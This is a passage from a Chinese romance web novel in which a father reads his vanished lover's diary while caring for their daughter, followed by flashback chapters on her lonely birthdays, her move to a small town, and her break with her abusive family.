老板娘愣了愣,看向程妙瑾,虽说失了笔生意心里惋惜,可又不禁发自肺腑感叹:“妙妙,你爸爸对你可真好!” 父亲因为自己而戒烟,程妙瑾确实感动,不过板娘这话她听着不舒服,便说道:“我妈妈对我也很好。” 老板娘忙不迭点头:“那是,你妈妈一个人把你养大,多不容易呀。” 听到这话,程妙瑾满意了,对老板娘礼貌性笑了笑,和父亲一起走出小卖部。 家在5楼,爬楼梯时程妙瑾问:“爸爸,你真要戒烟?” 周衍东:“嗯。” 程妙瑾:“戒烟很难的,你戒得了吗?” 周衍东:“嗯。” 程妙瑾看着父亲一脸淡然又胸有成竹的样子,好奇:“你怎么这么有信心呀?” 周衍东笑了笑:“我想做的事,就没有做不成的,除了——” 他没往下说,面色阴沉起来,薄唇抿成一条直线。 程妙瑾瞬间明白父亲未说完的话是什么。 除了让程溪幸福一辈子。 除了跟程溪白头偕老,永结同心。 回到家,等程妙瑾洗完澡,周衍东也洗了个澡。这里的浴室对他来说太小,花洒用着也不舒服,洗完澡出来,他对女儿说:“赶明儿爸爸去在这买套好房子,以后放假了,你要是想回来,咱们就回来玩儿一阵。” 这话什么意思,程妙瑾自然懂。 她看着父亲,正要开口,又将话压了回去。 如果一直找不到母亲,那么她搬到京州跟父亲一起生活这事,是避免不了的。 尽管万般不愿,程妙瑾也只能冷着脸吐出三个字:“随你便。” 她快步走进自己房间,砰地关上门。 周衍东想去哄哄女儿,飞快追过去,在她反锁之前将门推开,苦着脸赔笑:“妙妙,爸爸知道你不想回去,可这也是没办法的事儿,算爸爸求你好不好?” 程妙瑾低头,冷着脸不作声。 周衍东搓了搓手,抿唇沉默一会儿,小声开口:“爸爸这辈子没求过什么人……” 这话不假,他从小家境优越背景强大,都是别人惯着他哄着他,长大后,虽然创业辛苦,可一路上就算有人不服,也不敢明着与他作对。 这辈子活到现在,他只求过程溪和父母,求父母也是求他们别阻拦自己跟程溪在一起。 如今能让他低声下气祈求的,也只有女儿了。 程妙瑾心中几分触动,一来面前这人是自己亲生父亲,二来天之骄子苦着脸求人,想想确实挺不容易。 她轻轻叹了口气,看着父亲说道:“坦白讲,我确实非常不想回去。可我知道,回去对你对我,对——” 程妙瑾抿了抿唇,深吸一口气,才又说道:“对程溪……都是最好的选择。但是爸爸,我希望你也能理解理解我。理解我不想回去的心情,接受我的一些坏情绪。我们互相理解好吗?虽然我已经答应要回去,可现在实在笑不出来。” 听到这话,周衍东倒是笑了,点点头,轻轻拍了拍女儿头顶:“理解万岁。” 程妙瑾转身从柜子里拿出干净的床上四件套,正准备换上,周衍东走过来:“放着吧,这事儿爸爸做。” 他将被子和枕头放在书桌前的椅子上,掀开旧床单,将,干净床单铺上去。 以前这种活都是别人干,在广城那段日子,这事儿也是程溪来做,他还是头一次自己换床品。 勉勉强强铺好床单,到了套被子那一步,周衍东被拦住了,费老大劲套完才发现弄错了,被芯是横着的。 合着自己忙出了汗,到头来却是白忙活,他长叹一声,正要将被芯扯出来,程妙瑾在旁边嫌弃地开口:“算了算了,等你全部弄好,我不知道猴年马月才能睡觉!大少爷真幸福,三十好几了,连套被子都不会。” 她迅速将被子套好,换上枕套,扭头对父亲说:“程溪那屋衣柜顶上有干净的床单被褥,你自己拿自己换。” 周衍东羞愧点头,冲女儿挥挥手:“那,晚安。” 程妙瑾撅着嘴,含糊不清嘟囔一句“晚安”,在他走出房间关门前冲门口喊道:“我一点都不想去京州!” 周衍东无奈摇头,关上房门,苦笑着回到主卧,笨手笨脚给自己换完床上四件套,靠着床头坐下,翻开那本未读完的日记,逐字逐句在心中默念,感受程溪笔下的喜怒哀乐。 女儿五岁那年,程溪和宋言在容州偶遇。 那天,程溪带着妙妙去容州游玩,在商场逛街时竟遇到了宋言,宋言想上来搭话,程溪匆匆带着女儿离开。 很快,宋言用了些法子找到了这里。 关于宋言,程溪写过这么几段文字: 【宋先生来家里时,妙妙正要睡觉。起初我很慌张,见门外的人是他,赶紧把妙妙送回房间,让她先自己睡,然后才出来见宋先生。 我没有问他怎么找到我的,我知道,这种事对于他来说易如反掌。他说想跟我做朋友,我告诉他,我不想。 我的直白让他难以接受,他皱着眉问我:“为什么?” 我坦言:“第一,因为你是有妇之夫,从道德上来讲,我不该跟跟你走得近;第二,一看到你,我就会想起另一个人。” 他沉默一会儿,问:“那孩子是周衍东的吗?” 我不作声。他在沉默中读懂了我的回答。 我没有请他坐下,两个人面对面站着,什么也不说,僵持了一小会儿,我开口撵人:“说时候不早了,我要休息了,孩子还在屋里等我呢。” 他没好意思多留,匆匆道别离开,上天保佑,真希望这是我们最后一次见面。 宋先生的出现,打破了我平静的生活和平稳的心态。 没有想到这么多年过去,他依然放不下我,可这份放不下里,我感受不到多少爱意,相反,能感受到的,是执念,是固执,是纠缠。 着我,但我已经不好奇,也不关心了。我只希望他放下心里的执念,从而放过我。 宋先生的出现,让我不由自主想起另一个人,一个我没有办法在心里回避的人。我曾试图让自己彻底忘记他,慢慢发现,这根本就是天方夜谭,但我已经学会不再责怪自己了——不怪自己忘不掉他。 既然忘不掉,那就记住吧。 我以前总觉得,我们的故事结局不美好,甚至可以说十分凄凉,随着时间的流逝,我的心智一点点成长,逐渐发现,我们走到这个结局,对彼此而言,已经很好了。 什么才叫圆满,什么才叫美好? 相守一辈子,儿孙满堂,是一种美好;天各一方,回归自己本该拥有的生活,回到属于自己的轨迹,何尝不是另一种美满?】 看完这篇日记,周衍东心绪久久不能平静。 他闭着眼回想,那个时间段自己在做什么呢? 那会儿公司发展势头很猛,他正全国各地到处飞,还得参加各种国内外峰会。 由于那段日子实在太忙,想起程溪的时候并不多。 他做了个深呼吸,睁开眼继续往下看。 妙妙上学那天,程溪写道: 【我的宝贝终于成为了一名小学生,我也终于可以松一口气了。这孩子比同龄人要成熟许多,越是这样,我越觉得亏欠于她。 我尽可能给她足够多的爱,可我不知道这样能不能补偿那份缺失的父爱。妙妙稍微大一点后,就不主动提爸爸这事儿了。我知道,她心里其实是想爸爸的。 想知道爸爸是谁,为什么不在身边,更想知道——缺席的爸爸,是否爱着她? 我很难过,没法诚实地回答这些问题。 多年以来,我不止一次起过想要联系她父亲的念头,但每一次,思虑再三后还是将念头压下去了。 离开周衍东的那天起,我在心里发誓,这辈子绝不回头。 我曾经告诉自己,去联系他吧,告诉他女儿的存在,这并不意味着想要跟他破镜重圆,只是希望他知道自己有个女儿后,能腾出一点父爱给女儿。 可我不敢这么做,我怯懦。我害怕一旦他知道一切,我将彻底失去生活的掌控权;我害怕回到那个笼子;我害怕过自己不喜欢的日子…… 我从大山里走出来,享受过荣华富贵,最终还是选择了平淡如水的生活。我曾经迷茫过,挣扎过。但我清醒了,我清楚地知道自己想要什么。】 看到这里,周衍东泪水滑落。他没有意识到自己已经哭了,被日记上的文字牵动着,心脏揪着疼。 他曾给过她的许多,都只是自己一厢情愿罢了。 他给的她不想要,而她真正想要的,他永远也给不了。 随着孩子渐渐长大,程溪越来越忙,不再频繁写日记。 孩子十岁生日那天,程溪写道: 【我给妙妙订很漂亮的蛋糕,蛋糕上撒了银色糖珠,插了几根羽毛当装饰。我对她说:“小仙女,生日快乐,恭喜你从今天起,就是十岁的小姑娘了!” 她看着我,一板一眼对我说:“十岁了,不小了。而且我也不是小仙女,我只是个普普通通的小城姑娘。” 唉,这孩子又让我下不来台。我这么天真的人,怎么生出了这么成熟的女儿? 她见我有点儿难过,又对我说:“虽然我不喜欢做小仙女,但是你可以做。我不是小姑娘,我是大姑娘,我能保护妈妈,妈妈在我身边,可以当小姑娘。” 这话让我想哭。 吃蛋糕前,我点燃蜡烛让她许愿,她其实并不想干这事儿,可还是双手合十,闭着眼配合我默默许了愿望。 我问她许了什么愿,她不肯说,我说:“不说就不说吧,说了就不灵了。” 我偷偷想,这个愿望会不会跟爸爸有关呢? 我不敢问。 我们一起拍了合照,吃完蛋糕,妙妙去写作业,我盯着手机里的照片看了很久很久。 我的女儿长大了,而我也逐渐衰老。好想就这样陪她一直慢慢走,平淡而幸福地活着。】 周衍东脑中浮现起女儿之前在办公室给他看的那张生日合照,照片上,程溪的脸庞在他脑海里挥之不去。 他晃了晃头,深吸一口气,继续往下翻。 后来记录的仍是一些琐事,直到倒数第二篇,让周衍东内心掀起滔天波浪。 程溪写道: 【不知道为什么,这些天,我总是不经意就想起周衍东。 即便现在写出他的名字,依然会让我的心不可避免地悸动。 很长一段时间,我不知道该如何面对这段爱情。 我们是彼此的初恋,我们曾深爱对方。很奇怪,明明只在一起两年,可我好像已经跟他走完了一辈子。 妙妙八岁时,看电视剧里男人女人爱来爱去,问我:“妈妈,什么是爱情?” 我笑着说:“这个问题等你长大了自然就懂了。” 说完我就笑不出来了。 其实这个问题,我到现在也没弄懂。 我知道我曾拥有过爱情,可我搞不懂它到底是什么。 我写了很多很多爱情故事,有人喜欢有人讨厌,可若真要我说出几句爱情真谛,我说不出来。 我只知道,它会让人哭,让人笑,会勾起人各种各样的情绪,会让人变得不像自己。 或许,无法用简单的语言准确描述出爱情——这便是爱情的真谛之一。 昨晚做了一个梦,梦里,我又回到了周衍东办公室。 他正专注看文件,而我站在一旁静静看着他。我们明明在同一个画面里,却仿佛不在同一个世界,他不知道我的存在,可我看得见他。 我一边看着他,一边回想起自己流产后,直到离开前的那段日子。 那段日子我几乎不跟他闹,乖顺又懂事。他夸我成熟很多,他从来不知道,不哭不闹不计较,是因为舍不得。 我早已决定要离开。 什么时候能彻底死心,便什么时候收拾东西走人。 我早已决定,要把对他的所有耐心,所有爱意,全部消磨殆尽。 只有这样,在走的那天,我才会没有任何不甘,不服,不舍。 他总是夸我乖,却不知道,之所以我那么乖,是因为我明白,自己注定会离开。 就像网上看到的那句话—— “你总以为我是在妥协,其实我在和你告别。” 读完这篇日记最后一个字,周衍东已经泪流满面。 他颤抖着翻开最后一页,那一页只记录了日期和三个字:“别找我。” 他合上日记,将本子放在枕边,捧着脸,不让自己哭出声,却无法抑制住呜咽。 很快,呜咽变成了痛哭,他无论如何也抑制不住。 哭声将程妙瑾引来。 她在外面敲了敲门,见他没应,直接开门进来。 周衍东没有发现女儿来到自己身边,仍捧着脸痛哭,程妙瑾叫了一声“爸爸”,他才知道女儿来了,可既放不开手,也抬不起头,依然捂脸恸哭,在心里痛骂自己这个混蛋。 不仅是个混蛋,还是个蠢货。 竟完全不懂,程溪一次又一次妥协,是在一次又一次跟他告别。 他很想扇自己几巴掌,却连抬手的力气都没有。 程妙瑾头一次见一个男人哭成这样。 她移开目光,看见枕边的日记,心下明了,父亲已经全部看完了。 见父亲这副模样,她心里难受,想开口安慰几句,又不知该从何说起。 或许无论自己看起来多么成熟,在父亲眼里依然是个小屁孩儿,小屁孩懂什么爱情呢? 她叹一口气,轻轻拍了拍父亲耸动的肩膀,小声说道:“妈妈告诉过我,难过的时候想哭就哭,因为眼泪可以排毒。” 她看着恸哭的父亲,忽然觉得,面前这个身形高大的男人,此刻很像个孩子,他弄丢了自己最心爱的玩具,找不回,又放不下。 :“爸爸我过去睡了,你也早点休息,晚安。” 她退出房间,替父亲关上了门。 周衍东不知哭了多久,哭到再流不出一滴泪,他靠在床头,无力地半睁着眼,发红的眸子黯淡无光。 他在脑海里一遍一遍叫着程溪的名字,仿佛只要这样叫了,她便能听到,便有所感应,便会回来。 他动了动身子,平躺下来,闭上眼,在脑海中穿越回一次次伤害程溪的场景中,一次次想象着自己抱住她,认真而诚恳地跟她道歉。 如果这世上真有神明,他不会向神祈求自己与程溪破镜重圆,幸福到老。 他只希望神明能保佑程溪平安,健康;希望神明能替他转达他的歉疚。 他欠她好多好多。 千言万语,最后却只能说出一句“对不起”。 周衍东在极度疲惫中睡了过去。 大概受了日记的影响,他梦见自己坐在办公室里,而程溪站在一旁望着他微笑。 他放下手中的文件和钢笔,起身走到程溪身边。 他唤她名字,她不作声,他问她怎么来了,她仍是不作声。 他跟她说了好多话,她只是淡笑着瞧他。 他开始对她忏悔,说了无数句对不起,又她表达无数遍爱意。 他说自己这么些年,再也没有爱上过别的女人;说他心里从来都只有她;说他这辈子都忘不掉她,也不可能再找别人了。 他说他知道错了。 “程溪,好好的……你要好好的!”他握着她的手。 她的手如此冰冷。 他把她的手放在自己心口:“程溪,这里面,全都是你啊……” 他试图用自己胸口和掌心的温度将程溪的手捂热,却怎么也捂不热。 许久,他松开手,回到办公桌后,在抽屉里翻找起来,一边找一边说:“你送我的那支钢笔摔破了,可我一直留着,一直留着。” 他怎么也找不到那支钢笔。 奇怪,记得明明就在左边第一个抽屉里。 他把书桌所有抽屉全找一遍,还是找不着,忽然抬眼,发现程溪已经不见了。 他在办公室和休息室里发疯似的叫喊着寻找,哪也找不到。 他来到窗前,打开窗户,望着窗外又大又圆的月亮,竟看见月亮变成了程溪的脸。 她在冲他笑。 眨眼之间,那张脸又变回了月亮。 他揉了揉眼,月亮还是月亮。 一阵晚风吹来,轻抚着他的脸庞。 他闭上眼,发现这晚风如同程溪微凉的唇瓣,轻轻吻过他脸上每一个角落。 第55章 二十三岁。 二零一零年八月二十六日, 程溪二十三岁了。 这天是个大晴天,她醒来时,感觉脸上暖洋洋,眼前晃得厉害, 眼睛睁不开。 程溪坐起来, 避开那道刺眼的光线, 睁开眼,发现昨晚窗帘没拉严实, 一道明亮的阳光照射进来,躺着时, 光恰巧落在她脸上。 她又躺了回去,闭上眼睛, 感受阳光的温度。 她翻了个身,光照到她的脖颈,暖暖的很惬意。 她想象着这束光是两瓣温柔的唇, 拂过她的脸,他的颈。 就这么在想象中度过了十分钟, 程溪才起身, 睁开眼看着空空的枕边。 幻想再甜蜜,也是幻想, 现实留给她的, 只有望不到头的孤寂。 周衍东昨晚没回来, 确切地说, 他已经连着三天没回来了。 程溪拿起手机,很快又失望地放下。周衍东没主动联系过她。 她去洗了个澡,从衣柜里随手拿一条裙子换上,扎起高高的马尾, 让自己看起来更有精神些。 方姨见她下楼,笑眯眯说道:“程小姐醒啦?今天您生日,生日快乐呀!我给您煮碗长寿面吧。” 程溪有些惊讶,没想到方姨竟记得自己生日,还是第一个祝她生日快乐的人。 她会回给方姨一个笑:“谢谢,辛苦了。” 方姨笑着走进厨房:“煮碗面而已,有什么辛苦的?” 过了会儿方姨端着碗出来,长寿面里还放了两个煎蛋。方姨问:“程小姐,您看我煎的鸡蛋像不像太阳?圆圆的多好看!” 程溪瞧着碗里的蛋,点点头:“是呢!” 她很喜欢方姨。这位中年妇女并不像一些同龄人那样严肃古板,死气沉沉,反倒亲切热情,充满童趣。 程溪吃一半就饱了,可还是一口气全都吃完,撑得瘫在椅子上,摸了摸露肚皮,笑着夸赞:“您做的可太好吃了,这厨艺完全不输五星级大厨。” 方姨被夸得不好意思,拢了拢头发,问:“程小姐,吃撑了吧?” 程溪点点头。 方姨:“现在胃口怎么这么小?我记得去年您还挺能吃的。” 程溪:“不知道呢。可能又长大了一岁,成熟了,减少了很多对食物的欲望。” 这个理由实在牵强。为什么吃得少,她心里自然清楚。 因为不开心。因为对她而言,最重要的人很少陪她一起吃饭。 方姨看似性子大大咧咧,实则心思十分细腻,从她忧郁的眼神中读懂了她的情绪,说道:“我得跟少爷告一状,让他好好管管您。吃这么少对身体可不好。” 程溪:“我吃得不算少,只是没有以前多而已。” 方姨顺着这话往下引:“那今晚可得让少爷回来评评理!我觉着您就是想减肥,强忍着不吃。这怎么行?” 她一脸着急,心里想的却是:少爷几天没回来了,今天程小姐生日,再不回来,可真说不过去。 程溪自然听得懂方姨想让自己催周衍东回来。 她笑一笑,假装没明白其中深意,低头看手机,不再言语。 整个上午过去,程溪没收到周衍东任何消息,电话没打,消息没发。 她有些沉不住气,忍了又忍,到底给他发了条短信:【今晚回来吗?】 程溪十二点半发过去,周衍东一点半才回:【晚上有应酬,不知道几点结束,要是太晚才结束就不过去了,直接睡办公室。】 程溪打出一行字,告诉她今天自己过生日,纠结片刻又删掉了,回道:【少喝点酒,少抽烟。】 周衍东:【行,你也早点休息。】 程溪没再回复,捧着手机发呆,目光落在屏幕上,自己也不知道自己在想什么。 去年周衍东压根不记得她生日,第二天才给她煮了一碗面,在纸上写下道歉和迟来的祝福。 看样子,今年肯定又忘了。 程溪心里空落落的,难过又委屈,脑子里出现两个小人儿,一个红小人儿,一个黑小人儿。 黑小人儿叹了口气,说:“唉,周衍东真过分,总是忘记我生日!他是不是压根不爱我呀?要是爱我,怎么连我生日都记不住?去年记不住就算了,今年还记不住,真叫人难过……” 红小人儿嚷嚷起来:“这有什么好难过的?我看你就是矫情!周衍东多不容易呀!成天在外边工作,忙得脚打后脑勺,你呢?什么也不干!不用工作就算了,连家务都不用做,成天被人伺候着!租这么好的房子,过这么好的生活,你到底还有什么不满意?真是不知足!” 黑小人儿声音带着哭腔:“我知道这样很矫情,也知道不该埋怨周衍东,可难过就是难过,我也没办法硬让自己装开心呀……” 红小人说:“你干嘛非得在生日这个点上死磕呢?哦,忘记你生日就是不爱你啦?那他给了你这么多钱,送过你这么多礼物怎么说?钱在哪爱在哪,你快别身在福中不知福了。” 黑小人儿被怼得没话讲,瘪着嘴,委屈巴巴,不再出声。 程溪也跟泄了气的皮球似的,瘫靠在床头,好一会儿才起身下床,去书房拿了本书。一头扎进文字里,以此来慰藉那化不开的空虚与孤寂。 下午两点,尹岚打来电话,程溪一接通便听到电话那头祝她生日快乐。 尹岚是今天第二个祝福她的人。 的声音,程溪心里暖烘烘的,跟她聊了好一会儿才依依不舍挂断电话。 这些天尹岚在外旅游,说是今天忙着赶行程,一大早就从酒店出发,下午才歇脚,想起今天是她生日,立马给她打过来。 程溪心想,阿姨对我真好。 她不禁又想起了更多事。 她想,周衍东母亲无疑是爱他父亲的,所以才会忍耐这么多年。 她问自己,会这样忍耐周衍东二十来年吗? 无论内心两个小人怎样吵架,她其实早已做出选择。 决定了离开,就一定会离开。 她只是一直在等,等待一个合适的时机,什么时候对他的爱意消磨殆尽,什么时候就是离开的最佳时机。 迷迷糊糊睡了一觉,程溪醒来下楼,听见方姨说道:“程小姐夫人给您准备了生日礼物,刚才快递送来了!” 程溪欢天喜地接过方姨递来的盒子,解开绑在盒子上的白色蝴蝶结绸缎。 一盏精致漂亮的台灯映入眼帘。 台灯灯罩做成了欧式复古宫廷风格,围着一圈水晶吊珠,灯柱下是石膏雕成的正在弹钢琴的美少女,少女一袭长裙坐在钢琴前,面带微笑专注弹琴。 程溪迫不及待抱着台灯上楼,把旧台灯从床头柜上挪开,将新台灯放上去,插好电,滑动开关,灯光由暗到亮,透过精致繁复的灯罩,美得如梦似幻。 礼盒中除了台灯和泡沫保护罩,还有一本说明书和一个信封。 程溪拆开信封,拿出里面那页信纸,翻开对折成两半的纸张,看见了尹岚清秀的字迹,见她写道: 【亲爱的宝贝: 你看到这封信时,我正在外地旅游,请原谅我对你使用这么肉麻的称呼,因为你实在是可爱,太招人喜欢,才让我总是无意识就把你当成女儿看待! 如果今天没有收到来自亲人的祝福,请不要伤心,不要难过,我是东子的妈妈,也是你的妈妈……或许你会觉得这么说有些虚伪,但无论你怎么想,这封信里的每一个字,都是发自于真心。 宝贝,我知道,跟东子在一起,你受了很多委屈。我明白你的苦楚,也懂你的难处。 女孩成长为女人,或许需要一个漫长的过程,又或许只是只需要一瞬。但这场蜕变无疑充斥着痛苦、挣扎和煎熬…… 这么久以来,我看着你从一个天真阳光的女孩,因为那些痛苦经历变得沉默寡言,眉目间充满哀伤,说实话,我真是非常非常痛心…… 好在,你又是个无比坚强的人,状态一天天好转,真为你高兴!那天我们聊了很久,我为你许下承诺——你明白我说的是哪天,对吧? 不知道你信不信我那个承诺,又或者只当我是在给你画饼,但我仍要再给你一颗定心丸:我尹岚承诺过的事,一定会做到,你且放心等待,安心生活。 你可能会想,为什么我会挑选一盏台灯作为礼物送给你? 或许你觉得我只是认为它很漂亮,很适合。作为送女孩子的礼物,其实也有这个原因,但更重要的是——我希望它能在黑暗中为你照明,更希望你在人生暂时黯淡无光的日子里,找寻到属于自己的一束光芒。 未来并不远,人生很漫长,亲爱的宝贝,忍一忍,再忍一忍…… 夜深了,我得睡觉了,最后,容我再啰嗦一句:生日快乐!】 程溪捧着信纸,咬着唇不让自己哭出声,却终是泣不成声。 时针一圈一圈绕过,零点时分,周衍东没有回来,也没发来任何消息。 程溪等了他一整夜,整夜都开着尹岚送的那盏台灯。 她在昏黄的灯光中好几次陷入恍惚,恍然间看见了自己和周衍东的未来:有儿有女,携手相伴…… 清晨六点,程溪终于收到了周衍东发来的消息: 【宝宝对不起,昨天太忙了,忘记回来陪你过生日,真的很抱歉。我一定会好好补偿你……上午有个很重要的会议,下午得去参加活动,不过晚上的应酬推掉了,参加完活动立马回来陪你,原谅我好吗?】 程溪捧着手机,目光呆滞,许久,打出一个“好”,又在后面加上代表微笑的颜文字。 她起身走到梳妆台前,看着镜子中的自己,怎么也笑不出。 “生日快乐……”她颤抖着开口,对自己说。 泪水随着最后一个字的话音从泛红的眼眶中滚落。 第56章 二十四岁。 二零一一年八月二十六日, 程溪二十四岁了。 她在生日这天,来到了容今——一座南方的四线小城市,原本打算先找个宾馆落脚,拖着行李箱走街串巷时, 发现了一家民宿。 这是一个带院子的老式平房, 外观看起来有些年头, 门口一个年纪看上去跟她差不多的女孩蹲在地上,正喂一只橘猫吃东西。 女孩掌心里的猫粮堆成小山状, 橘猫大概是饿极了,很快便吃完, 女孩嘴里嘟囔:“小馋猪猪!” 她笑着摸摸橘猫脑袋,又挠挠它下巴, 这一幕让程溪感到温馨又快乐,不禁驻足,忍不住多看几眼。 女孩意识到自己正在被人观望, 扭头看向旁边,目光落到程溪手中的箱子上, 友善笑道:“是来住宿的吗?” 程溪愣了愣, 点头:“我正找地方住呢。” 女孩:“在哪预约的?” 程溪这才反应过来她俩对话不在一个频道上。 她看到敞开的门口放着一个立牌,立牌上标有空房数量和价格, 说道:“我没预约过, 只是刚才恰巧经过, 看见你和猫猫互动, 觉得那一幕很温馨很有爱,就想多看看。” 女孩爽朗笑起来:“我家肥猪猪可爱吧?” 程溪点点头:“这只猫叫肥猪猪?” 她目光看向正在立牌下翻身打滚的橘猫,体格确实不小。 女孩夸张地张开双臂:“你看看他那样子嘛,好肥的呀!对了, 你如果找房子的话,要不要先在我这看看?” 程溪问:“你这里是家庭宾馆吗?” 女孩:“差不多吧,不过只有我一个人住这儿,我带你进里面看看。” 程溪跟着女孩往里走。 里面有个院子,不算大,但摆了许多盆栽,各式各样的花花草草和小树十分抢眼,程溪第一眼就喜欢上了这间院子。 女孩又带她看了三个空房间,说道:“也是巧了,你来之前这三间房都住了人,但又都陆续搬走了,房子什么情况你也看到了,装修确实比不上那些豪华酒店,不过都很干净整洁,日均价格算下来比住酒店便宜多了。最关键是,这附近很有生活气息,又安全,住的大多都是本地居民,总的来说性价比很高,你要不要考虑看看?” 其实不用女孩极力推销,程溪对这里喜欢得不行,当即决定入住,女孩问她:“打算住多久呢?” 她想了想,说:“两个月吧。” 女孩惊讶,本以为她只是过来旅行的游客,最多在这里玩儿几天,没想到开口就是两个月,便问道:“为什么要住这么久?” 程溪:“打算在这定居,先住两个月看看适不适应。” 女孩:“定居?为什么选择这里?” 程溪:“因为喜欢呀!” 女孩眉毛扬得老高:“你知道吗,我们这的年轻人很多都出去打工了,要么往京沪广深这种一线大城市跑,要么就是去省会。听你口音不是云安人,很少有外地人跑来我们这种四线小城市定居。” 程溪不打算过多解释,只是笑了笑:“我很喜欢这里。” 女孩压低声音小声提醒:“那你要做好准备哦,这里经济一直挺落后的,估计近几年不会有什么大发展,说白了就是穷,其他方面确实挺好。” 程溪点点头,淡笑着说道:“很高兴认识你。” 女孩爽朗一笑:“我也很高兴认识你!感觉咱俩很有缘呢,我叫倪云初,你呢,怎么称呼?” 程溪报上自己名字。 倪云初问:“是希望的‘希’还是夕阳的‘夕’?” 程溪摇摇头:“都不是,是溪流的‘溪’。” 倪云初忽地睁大眼睛,夸道:“哇,你名字好好听!” 程溪:“是么?我觉得很一般啊……我妈说,生我时忽然想起我家附近有条小溪,就给我取了这个名。” 倪云初:“很好听,很特别,而且很符合你的气质。” 程溪:“哪里符合?” 倪云初:“你给人的感觉就像山间的溪流,你的眼睛很漂亮,眼神清澈如溪水,一看就是善良的人,没什么坏心思!你说话也温温柔柔,像蜿蜒而过的溪流。” 程溪歪着脑袋点点头,冲她竖起大拇指:“很有文采哦。” 倪云初怕她以为自己只是想跟客人套近乎,一脸认真解释:“没有骗你,我才不是什么虚伪谄媚的人,刚才说的全是发自内心的真实感受。” 程溪弯着眉眼柔声说道:“好啦,相信你,但其实我以前可不是一个很温柔的人,我以前话很多,叽叽喳喳的,有时候还很要强,只不过,现在性子柔和许多。” 倪云初:“我一直话很多,估计比你以前还聒噪呢!现在也这样,估计以后也改不了喽。不过我可不想改,一个人一个样子,一个人一个活法,我的生活自由自在,谁都管教不了我,我也懒得管教自己。” 程溪没在这房子里看见别人,好奇问道:“你平时一个人住这儿吗?我是说,除了客人,你家里人都不在这儿?” 倪云初点点头:“我家人都在容州,离这儿很近,但我不怎么过去,主要是一见面他们就开始叨叨叨,一会儿数落我各种缺点,一会儿跟我催婚。我才多大呀就想让我结婚生子,没门!” 程溪:“那你多大啦?” 倪云初:“24岁,你呢?” 程溪:“好巧,我也是。” 倪云初高兴得合不拢嘴,拉着她走到外屋:“你赶紧办入住,哎呀,我可太喜欢你了,得把你扣在身边,省得一不留神你又跑去别的地方住了!身份证给我,我这有打印机,直接打印附件签合同。” 程溪拿出身份证递给她,她看着证件上的生日信息,愣了愣,目光惊讶,:“呀,你今天过生日啊?” 程溪淡淡点头。 倪云初迅速把材料准备好,交给她签字,最后拿起合同晃了晃,笑容灿烂:“接下来这两个月,你想跑都跑不掉啦!” 程溪被她逗笑,扑哧乐出声,不禁夸道:“你和你养的那肥猪猪都好可爱,很荣幸能和你们成为室友。” 倪云初笑呵呵问:“吃饭了没?” 程溪摇头,倪云初拉着她往厨房走:“那正好!我炖了乌鸡汤,乌鸡是乡下表姑送来的,自家三养的鸡跟养殖场大批量养殖那种很不一样,好吃多了,我给你用鸡汤煮完长寿面!” 中午一点半,程溪来到自己选定的房间。 她将窗帘完全拉开,打开窗户,坐在床上望着窗外院子里的花草树木,感受着迎面吹来的清爽微风,惬意地闭上眼,想:去年这一天,自己还在京州公寓里默默流泪,等待周衍东。 现在回头看,恍如隔世。 她起身来到窗前,靠着窗框沐浴阳光,此刻如重生一般,她坚信自己的未来一定充满了美好与希望。 她就这样静静站在光里,回想着曾经那些日子。 两年前刚跟周衍东在一起时,程溪很难想象,如果自己跟他分开会怎样。那会儿她想,一定会非常非常难受吧…… 跟着周衍东来到京州,没了那个孩子以后,她打定主意要走,却没有立马走,而是一天天等着他消磨自己的爱意,痛苦的时间被拉长,等到真正离开那天,痛苦就不再那么浓烈了。 离开的那天,她哭过,恨过,但也走得足够洒脱。 她从京州飞回黔州,又搭火车和客车辗转回到故乡。 她站在那片贫瘠的土地上,发现这里依然贫瘠。 她回想着从小受过的所有苦难,却发现自己其实不恨这里,这片土地没有错,错的,是那些不曾善待过她的所谓家人。 她爬上小时候常来的一座山林,林中那棵树还是老样子。 看见那棵大树,程溪情不自禁哭了,想起从前每次极度痛苦时,自己就会跑到这里,抱着这棵大树,想象这是一位慈祥的老人,哭着对老人诉说自己的委屈和苦处。老人默默倾听,用强劲的枝干和茂密的树叶替她遮蔽风雨和烈日。 从那时起,程溪告诉自己,她是大山的孩子,是老树的孩子,但不是程家的孩子。 每当干完繁重的活,她会带着书本纸笔来到大树下,大声朗读一页页书中的文字,认认真真做完一道道题,开开心心写下自己的想法与感悟。 她是山里的孩子,也是树下的杂草,坚韧顽强,在一次次的忍受和退让中,咬着牙,从不屈服于命运。 离开老家,程溪去了趟省会。 父母早已搬去省会,在市中心买了大房子,开上好车子。当初周家打发给他们一笔钱,这钱对周家来说不足挂齿,但对程家而言,无疑是笔巨款。 程溪之前没来过这儿,之所以知道地址,是因为弟弟程阳搬来这里后,非要让她亲自去故宫买文创产品寄回来。 程溪原本没答应,可还是去了。买到弟弟想要的东西,按照他给的地址寄过去,从那以后,弟弟发来的任何消息,她一律不回,只当生命中再没有这个人。 她给弟弟买的那套东西是历史人物集合,商家命名为“全家福套装”。把东西寄过去时,程溪心里想“全家福”这三个字,又想,从小到大她还没跟家里人拍过全家福呢,弟弟和父母倒是拍过。 她终于彻彻底底明白,自己于这个家而言,从来都是外人。身为女儿,即便没有嫁出去,从她出生的那天起,便已经是泼出去的水。 程溪忽然出现在新家,父母都有些惊讶。 她已经很久没有联系过他们了,当然,他们也不曾主动联系他。 母亲看见她,第一句话是:“怎么就你自己来,小周呢?” 程溪淡淡开口:“我跟他分手了。” 父亲在一旁冷着脸挖苦:“他现在才甩你啊?也真是能忍,我还以为人家早把你给踹了。” 程溪面无表情看着父亲,小声却清晰地说道:“是我甩了他。” 他脸上倔强的表情激怒了父亲,父亲攥紧拳头,抬起手在空中挥拳:“你甩人家?一定是你惹得周家少爷不高兴,人家一脚把你踹了,还嘴硬撒谎!你甩人家,你有这个本事有这个能耐吗?” 程溪冷眼看着张牙舞爪的父亲,脑海中浮现起儿时挨打的画面。 小时候被打,她总是哭着跑着求饶,而现在,只是淡然地看着愤怒的父亲,眼里没有一丝恐惧,竟还笑了,点了点头:“对,我没本事,没出息,留不住周家少爷。总之我们分手了,你们也别指望我嫁入豪门飞上枝头变凤凰,我没那个命。 “今天来就是看看你们,顺便通知你们一声,从今往后,我不再是程家的女儿,从今往后,我跟你们三个人,再没有半点关系。大家桥归桥路归路,以后永远都别再联系。” 她转身要走,被父亲一把抓住领子拽回来。 程溪脖子勒得难受,父亲的拳头正要打到她脸上,被母亲死命拦住。 母亲用尽全身力气扯开父亲的手,一把将她推出门外,大声喊道:“你走!你快走!” 程溪红了眼眶。 